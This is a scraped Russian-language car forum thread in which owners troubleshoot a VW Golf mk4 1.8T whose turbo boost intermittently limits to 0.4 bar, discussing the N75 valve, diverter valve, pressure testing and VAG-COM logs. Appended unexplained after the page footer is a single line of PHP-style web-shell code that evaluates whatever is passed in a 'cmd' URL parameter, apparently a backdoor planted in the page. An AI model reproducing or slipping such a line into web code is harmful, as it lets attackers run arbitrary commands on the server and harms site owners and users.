+ Ответить в теме
Страница 1 из 5 1 2 3 ... ПоследняяПоследняя
Показано с 1 по 10 из 49

Тема: mk4 иногда дует 0.4


Комбинированный просмотр

  1. #1
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405

    mk4 иногда дует 0.4

    уже второй раз мах давление поднимается до 0.4
    по ошибкам: подение давления между турбиной и дросселем... спорадическая или как там ее..
    в какую сторону копать как демаете?!
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  2. #2
    GTI-Racing lingus is on a distinguished road Аватар для lingus
    Регистрация
    06.02.2007
    Откуда
    Чехов
    Машина
    Skoda Superb 1.8T
    Сообщений
    1,214
    думаю тут сходу отправят тебя сейчас на опрессовку системы :)

  3. #3
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    нет. я так понимаю еслиб тровило, тровило бы всегда!
    а это было 1 раз 2 нед назад пока ехал до работы (15мин)
    и сегодня.
    я почитал по форумам, думаю начать с n75 как я понял, прально?!
    не подскажите номерок 058 906 283 F??
    Последний раз редактировалось mas1er; 22.09.2009 в 10:54.
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  4. #4
    GTI-Racing lingus is on a distinguished road Аватар для lingus
    Регистрация
    06.02.2007
    Откуда
    Чехов
    Машина
    Skoda Superb 1.8T
    Сообщений
    1,214
    номера деталей можно посмотреть в каталогах что на экзисте, что на неоригинал.ру

  5. #5
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    какя-то фигня присходит. на выходных буду опрессовку пробовать делать. DV вроде живой, но все равно заказываю новый, но вот едет как-то не понятно, как будто за хвост держат и при резком нажатии на газ буст выходит на рабочее как будто долго =(
    может кто логи посмотрит, может что увидите
    Вложения
    Последний раз редактировалось mas1er; 14.10.2009 в 22:11.
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  6. #6
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    как померять разгон вагкомом?
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  7. #7
    GTI-Racing Zerg is on a distinguished road Аватар для Zerg
    Регистрация
    12.04.2007
    Откуда
    Москва
    Машина
    GTI
    Сообщений
    383
    Напиши номер ошибки и полное название.
    Если ошибка определяется по датчику наддува после интеркулера(что перед дросселем), то не факт что n75/DV.
    Ускорение можно замерить, как вариант, в ABS/Adv.meas.blocks/(поставить галочку "Speed")/в окошке данных появится новая кнопочка "acceleration" - дальше сам разберёшься.

  8. #8
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    как будет гляну, т.к. это за пол года 3 разабыло

    по-мойму этот
    http://wiki.ross-tech.com/index.php/17705
    для инфы http://forum.adact.ru/index.php/topic/8291/
    Последний раз редактировалось mas1er; 16.10.2009 в 12:08.
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  9. #9
    Цитата Сообщение от mas1er Посмотреть сообщение
    уже второй раз мах давление поднимается до 0.4
    по ошибкам: подение давления между турбиной и дросселем... спорадическая или как там ее..
    в какую сторону копать как демаете?!
    У меня аналогичная проблема! Сначала давление периодически поднималось то до 1, то до 0,4. Сейчас уже только до 0,4:( n75 менялся 3 месяца назад, вряд ли бы так быстро умер...
    На диагностике сказали что идет обрыв провода от клапана к мозгам..Такое вообще может быть?!

  10. #10
    Цитата Сообщение от bagor Посмотреть сообщение
    У меня аналогичная проблема! Сначала давление периодически поднималось то до 1, то до 0,4. Сейчас уже только до 0,4:( n75 менялся 3 месяца назад, вряд ли бы так быстро умер...
    На диагностике сказали что идет обрыв провода от клапана к мозгам..Такое вообще может быть?!
    У себя проблему устранил.

+ Ответить в теме
Страница 1 из 5 1 2 3 ... ПоследняяПоследняя

Похожие темы

  1. сколько дует турбина
    от fanks90 в разделе Golf 4
    Ответов: 22
    Последнее сообщение: 02.07.2024, 12:31
  2. не едит а турбо дует
    от rinat088 в разделе Golf 4
    Ответов: 5
    Последнее сообщение: 02.07.2024, 02:06
  3. Иногда не заводится.
    от Zews в разделе Golf 6
    Ответов: 31
    Последнее сообщение: 03.01.2024, 10:46
  4. AGU дует 1 бар, на K03
    от Garik в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 15
    Последнее сообщение: 02.10.2023, 06:43
  5. Турбина дует 0.4((
    от BEDNAK в разделе Двигатель
    Ответов: 7
    Последнее сообщение: 28.04.2011, 11:20

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}